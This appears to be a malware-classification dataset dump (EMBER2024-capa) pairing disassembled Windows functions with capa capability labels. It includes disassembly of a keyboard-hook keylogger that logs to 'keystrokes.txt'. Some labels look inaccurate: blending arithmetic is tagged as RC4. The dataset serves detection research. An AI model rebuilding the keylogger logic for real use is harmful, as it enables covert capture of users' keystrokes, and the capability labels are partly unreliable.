joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e110
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
xorps xmm0, xmm0
push 0x114
push eax
mov word [ebp - 0x24], ax
mov dword [ebp - 0xa], eax
lea eax, [ebp - 0x148]
push eax
movups xmmword [ebp - 0x22], xmm0
movq qword [ebp - 0x12], xmm0
call fcn.00429a90
add esp, 0xc
mov dword [ebp - 0x148], 0x114
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [ebp - 0x144]
cmp eax, 5
jne 0x41e18a
xor ecx, ecx
movzx eax, word [ecx + 0x4507e8]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e171
jmp 0x41e234
cmp eax, 6
jne 0x41e216
mov eax, dword [ebp - 0x140]
test eax, eax
jne 0x41e1b9
xor ecx, ecx
nop
movzx eax, word [ecx + str.VISTA]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e1a0
jmp 0x41e234
cmp eax, 1
jne 0x41e1d6
xor ecx, ecx
movzx eax, word [ecx + 0x450800]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e1c0
jmp 0x41e234
cmp eax, 2
jne 0x41e1f6
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + 0x450808]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e1e0
jmp 0x41e234
cmp eax, 3
jne 0x41e234
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + str.8.1]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e200
jmp 0x41e234
cmp eax, 0xa
jne 0x41e234
xor ecx, ecx
nop dword [eax]
movzx eax, word [ecx + 0x45081c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x26], ax
test ax, ax
jne 0x41e220
push esi
xor eax, eax
xorps xmm0, xmm0
push edi
mov word [ebp - 0x34], ax
mov dword [ebp - 0x2a], eax
lea eax, [ebp - 0x34]
push 0xa
push eax
push dword [ebp - 0x13c]
movq qword [ebp - 0x32], xmm0
call fcn.0042e0c4
lea edx, [ebp - 0x34]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x41e260
lea edi, [ebp - 0x24]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41e273
mov ecx, edx
lea eax, [ebp - 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004261dc
mov esp, ebp
pop ebp
ret
Function at 0x422b70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443c18
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x422cd3
cmp byte [ebx + 0x3e], 0
je 0x422cd3
mov eax, dword [ebx]
push 0xffff
call dword [eax + 0xc]
movzx eax, ax
mov ecx, 0xffff
cmp cx, ax
jne 0x422bcf
xor al, al
jmp 0x422cd5
push 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
push 8
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.004225f0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
nop dword [eax + eax]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x422c49
sub eax, 1
je 0x422c4d
sub eax, 2
je 0x422c9f
xor bl, bl
jmp 0x422ca1
mov byte [ebx + 0x3e], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x422c85
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.0042fd08
add esp, 0x10
cmp esi, eax
jne 0x422c45
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x422c9f
test esi, esi
jne 0x422c10
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.00422820
jmp 0x422c02
mov bl, 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x422cbd
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00423900
mov dword [ebp - 0x14], 0xf
mov al, bl
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
jmp 0x422cd5
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
Function at 0x423440
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443c18
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x423593
cmp byte [ebx + 0x3d], 0
je 0x423593
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x423494
xor al, al
jmp 0x423595
push 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0
push 8
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.004225f0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
nop dword [eax]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x423509
sub eax, 1
je 0x42350d
sub eax, 2
je 0x42355f
xor bl, bl
jmp 0x423561
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x423545
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.0042fd08
add esp, 0x10
cmp esi, eax
jne 0x423505
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x3d], 0
je 0x42355f
test esi, esi
jne 0x4234d0
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.00422820
jmp 0x4234c7
mov bl, 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x42357d
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00423900
mov dword [ebp - 0x14], 0xf
mov al, bl
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
jmp 0x423595
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret

Function at 0x433e28
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00433aeb

Function at 0x433e33
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00433c6c

Function at 0x438a2f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043839d

Function at 0x438a3a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004385d8
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40605c], 1
mov dword [0x406058], 1
mov dword [0x406054], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406068]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40607c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406064]
mov dword [eax], edx
call sym.__setargv
cmp dword [0x403018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], sym.__matherr
call sym.___mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401649
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], sym._KeyboardProc_12
mov dword [esp], 0xd
mov eax, dword [sym.imp.USER32.dll_SetWindowsHookExA]
call eax
sub esp, 0x10
mov dword [0x406040], eax
mov eax, dword [0x406040]
test eax, eax
jne 0x4016d6
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_set_keyboard_hook.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x401707
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_TranslateMessage]
call eax
sub esp, 4
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DispatchMessageA]
call eax
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetMessageA]
call eax
sub esp, 0x10
test eax, eax
jne 0x4016b6
mov eax, 0
leave
ret 4
Function at 0x40170b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0x404067
mov dword [esp], str.keystrokes.txt
call sym._fopen
mov dword [0x40603c], eax
mov eax, dword [0x40603c]
test eax, eax
jne 0x401766
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_open_log_file.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x4017f7
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._HookThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4017e4
mov eax, dword [0x40603c]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_create_hook_thread.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x4017f7
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4017e4
leave
ret 0x10

Function at 0x401a60
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401ac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406070]
test esi, esi
jle 0x401be0
mov eax, dword [0x406074]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401af4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401b77
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ae0
mov dword [esp], ebx
call sym.___mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c07
mov eax, dword [0x406074]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
mov edx, dword [0x406074]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401be7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401b70
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401b80
add dword [0x406070], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406074]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401b70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401afe
mov eax, dword [0x406074]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
nop

Function at 0x402120
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40608c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406084]
sub esp, 4
test ebx, ebx
je 0x402175
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40216e
test esi, esi
je 0x40216e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402150
mov dword [esp], 0x40608c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402520
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402545
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402550
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402545
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402598
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40258e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40259a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402580
xor eax, eax
pop ebx
pop esi
ret
Function at 0x409f76
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x32e9b38]
test eax, eax
je 0x409fb5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409fb5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409fb5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409fb5
cmp dword [ecx + 0x74], 0xe
jbe 0x409fb5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d8d7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x32e9b38]
test eax, eax
je 0x40d916
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d916
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d916
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40d916
cmp dword [ecx + 0x74], 0xe
jbe 0x40d916
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x43bdd6
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, dword [esp + 0x3c]
xor ebx, ebx
cmp esi, 1
je 0x43be06
cmp esi, 2
je 0x43be06
cmp esi, 4
je 0x43be06
cmp esi, 8
je 0x43be06
cmp esi, 0x18
je 0x43be06
cmp esi, 0x20
je 0x43be06
xor eax, eax
jmp 0x43bfd3
mov ecx, dword [0x32ee510]
push ebp
push edi
xor edi, edi
mov dword [esp + 0x10], edi
test ecx, ecx
jle 0x43bfcf
mov edx, dword [esp + 0x28]
mov eax, dword [edi*4 + 0x32ee778]
cmp dword [eax], edx
je 0x43be39
inc edi
mov dword [esp + 0x10], edi
cmp edi, ecx
jl 0x43be20
jmp 0x43bfcf
cmp dword [esp + 0x38], 0x20
jne 0x43bfa6
mov eax, dword [eax + 8]
test eax, eax
je 0x43be79
cmp esi, 0x20
je 0x43be55
cmp esi, 0xffffffff
jne 0x43be79
push esi
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call eax
jmp 0x43bfcd
mov eax, dword [esp + 0x2c]
inc eax
imul ebp, eax, 3
and ebp, 0xfffffffc
mov eax, ebp
mov dword [esp + 0x14], ebp
imul eax, dword [esp + 0x30]
push eax
push 0
push dword [0x32ec044]
call dword [0x32e9c98]
mov dword [esp + 0x18], eax
test eax, eax
je 0x43bfcf
mov ebx, dword [esp + 0x30]
test ebx, ebx
jle 0x43bf71
mov edx, dword [esp + 0x24]
mov ecx, eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ecx
mov esi, edx
test eax, eax
jle 0x43bf50
mov ebp, ecx
mov edi, eax
mov ecx, 0xff
movzx eax, byte [esi + 2]
sub eax, ecx
movzx ecx, byte [esi + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp + 2], al
movzx eax, byte [esi + 1]
sub eax, ecx
movzx ecx, byte [esi + 3]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp + 1], al
movzx eax, byte [esi]
lea esi, [esi + 4]
sub eax, ecx
movzx ecx, byte [esi - 1]
imul eax, ecx
mov ecx, 0xff
add eax, 0xfe01
cdq
idiv ecx
mov byte [ebp], al
lea ebp, [ebp + 3]
sub edi, 1
jne 0x43bedf
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x30]
add edx, dword [esp + 0x34]
add ecx, ebp
sub dword [esp + 0x24], 1
mov dword [esp + 0x30], edx
mov dword [esp + 0x38], ecx
jne 0x43becc
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x10]
mov eax, dword [edi*4 + 0x32ee778]
push esi
push dword [esp + 0x44]
mov esi, dword [esp + 0x20]
push dword [esp + 0x44]
push ebp
push ebx
push dword [esp + 0x40]
push esi
push dword [esp + 0x3c]
call dword [eax + 4]
push esi
push 0
push dword [0x32ec044]
mov ebx, eax
call dword [0x32e9c8c]
jmp 0x43bfcf
cmp dword [esp + 0x38], 0x18
jne 0x43bfcf
push esi
push dword [esp + 0x44]
push dword [esp + 0x44]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x40]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
call dword [eax + 4]
mov ebx, eax
pop edi
mov eax, ebx
pop ebp
pop esi
pop ebx
add esp, 0xc
ret 0x28
Function at 0x4797e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47980d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47980d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4afb84
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
mov ecx, dword [esp + 0x2c]
test ecx, ecx
je 0x4afd90
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
push ebx
mov ebx, dword [esp + 0x24]
push ebp
push esi
imul esi, dword [esp + 0x24], 3
push edi
mov edi, 0xff
shl ebx, 2
mov dword [esp + 0x28], edx
cmp dword [esp + 0x40], edi
jne 0x4afca0
mov dword [esp + 0x40], ebx
mov dword [esp + 0x10], esi
mov ebp, dword [esp + 0x24]
imul ebp, eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x1c]
add ebp, ebx
mov ebx, dword [eax + 0xcc]
add ebp, dword [esp + 0x20]
imul ebx, edx
add ebx, dword [eax + 0xc8]
add ebx, esi
cmp dword [esp + 0x38], 0
jle 0x4afc69
mov eax, dword [esp + 0x38]
mov dword [esp + 0x30], eax
movzx edi, byte [ebp + 3]
mov esi, 0xff
movzx eax, byte [ebp + 2]
sub esi, edi
movzx ecx, byte [ebx + 2]
imul eax, edi
imul ecx, esi
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
movzx ecx, byte [ebx + 1]
mov byte [ebx + 2], al
movzx eax, byte [ebp + 1]
imul eax, edi
imul ecx, esi
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
mov byte [ebx + 1], al
movzx eax, byte [ebx]
movzx ecx, byte [ebp]
lea ebp, [ebp + 4]
imul eax, esi
imul ecx, edi
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
sub dword [esp + 0x30], 1
mov byte [ebx], al
lea ebx, [ebx + 3]
jne 0x4afbfa
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x1c]
dec ecx
or eax, 0xffffffff
mov dword [esp + 0x3c], ecx
inc edx
push 1
cmp dword [esi + 0xe8], 0
mov esi, dword [esp + 0x14]
pop ebx
cmovne eax, ebx
mov dword [esp + 0x28], edx
add eax, dword [esp + 0x34]
mov ebx, dword [esp + 0x40]
test ecx, ecx
jne 0x4afbc5
jmp 0x4afd8c
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], esi
mov ebp, dword [esp + 0x24]
imul ebp, eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x1c]
add ebp, ebx
mov ebx, dword [eax + 0xcc]
add ebp, dword [esp + 0x20]
imul ebx, edx
add ebx, dword [eax + 0xc8]
add ebx, esi
cmp dword [esp + 0x38], 0
jle 0x4afd5a
mov eax, dword [esp + 0x38]
mov dword [esp + 0x30], eax
movzx eax, byte [ebp + 3]
mov esi, 0xff
imul eax, dword [esp + 0x40]
movzx ecx, byte [ebx + 2]
cdq
idiv edi
mov edi, eax
movzx eax, byte [ebp + 2]
imul eax, edi
sub esi, edi
imul ecx, esi
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
movzx ecx, byte [ebx + 1]
mov byte [ebx + 2], al
movzx eax, byte [ebp + 1]
imul eax, edi
imul ecx, esi
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
mov byte [ebx + 1], al
movzx eax, byte [ebx]
movzx ecx, byte [ebp]
lea ebp, [ebp + 4]
imul eax, esi
imul ecx, edi
mov edi, 0xff
add eax, ecx
cdq
idiv edi
sub dword [esp + 0x30], 1
mov byte [ebx], al
lea ebx, [ebx + 3]
jne 0x4afce1
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x1c]
dec ecx
or eax, 0xffffffff
mov dword [esp + 0x3c], ecx
inc edx
push 1
cmp dword [esi + 0xe8], 0
mov esi, dword [esp + 0x18]
pop ebx
cmovne eax, ebx
mov dword [esp + 0x28], edx
add eax, dword [esp + 0x34]
mov ebx, dword [esp + 0x10]
test ecx, ecx
jne 0x4afca8
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28
Function at 0x4b075f
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x30]
mov ebp, dword [esi + 0xd4]
test edi, edi
je 0x4b0804
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
push ebx
shl ecx, 2
mov ebx, ebp
imul ebx, dword [esp + 0x20]
mov dword [esp + 0x28], ecx
mov edx, dword [esp + 0x1c]
imul edx, eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x24]
add edx, ecx
mov ecx, dword [esi + 0xcc]
add edx, dword [esp + 0x18]
imul ecx, eax
add ecx, dword [esi + 0xc8]
add ecx, ebx
cmp dword [esp + 0x30], 0
jle 0x4b07e2
mov esi, dword [esp + 0x30]
mov al, byte [edx + 2]
xor byte [ecx + 2], al
mov al, byte [edx + 1]
xor byte [ecx + 1], al
mov al, byte [edx]
lea edx, [edx + 4]
xor byte [ecx], al
add ecx, ebp
sub esi, 1
jne 0x4b07c0
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
inc eax
xor ecx, ecx
mov dword [esp + 0x24], eax
inc ecx
or eax, 0xffffffff
cmp dword [esi + 0xe8], 0
cmovne eax, ecx
add eax, dword [esp + 0x34]
sub edi, ecx
mov ecx, dword [esp + 0x28]
jne 0x4b078f
pop ebx
pop edi
pop esi
pop ebp
ret 0x24

Function at 0x4b0b43
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
imul ecx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 4], ecx
test ebx, ebx
je 0x4b0c11
push ebp
mov ebp, dword [esp + 0x24]
push esi
imul esi, dword [esp + 0x2c], 3
imul eax, dword [esp + 0x24], 3
push edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x34]
mov edi, dword [esp + 0x24]
mov edx, eax
imul edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x30], edx
add edi, esi
mov esi, dword [eax + 0xcc]
add edi, dword [esp + 0x20]
imul esi, ebp
add esi, dword [eax + 0xc8]
add esi, dword [esp + 0x38]
test ecx, ecx
jle 0x4b0bde
mov ebx, 0xff
mov ebp, ecx
sub ebx, dword [esp + 0x40]
movzx eax, byte [edi]
imul eax, dword [esp + 0x40]
movzx ecx, byte [esi]
imul ecx, ebx
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
inc edi
mov byte [esi], al
inc esi
sub ebp, 1
jne 0x4b0bb1
mov ebx, dword [esp + 0x3c]
mov ebp, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x1c]
xor esi, esi
dec ebx
or eax, 0xffffffff
inc esi
mov dword [esp + 0x3c], ebx
inc ebp
cmp dword [ecx + 0xe8], 0
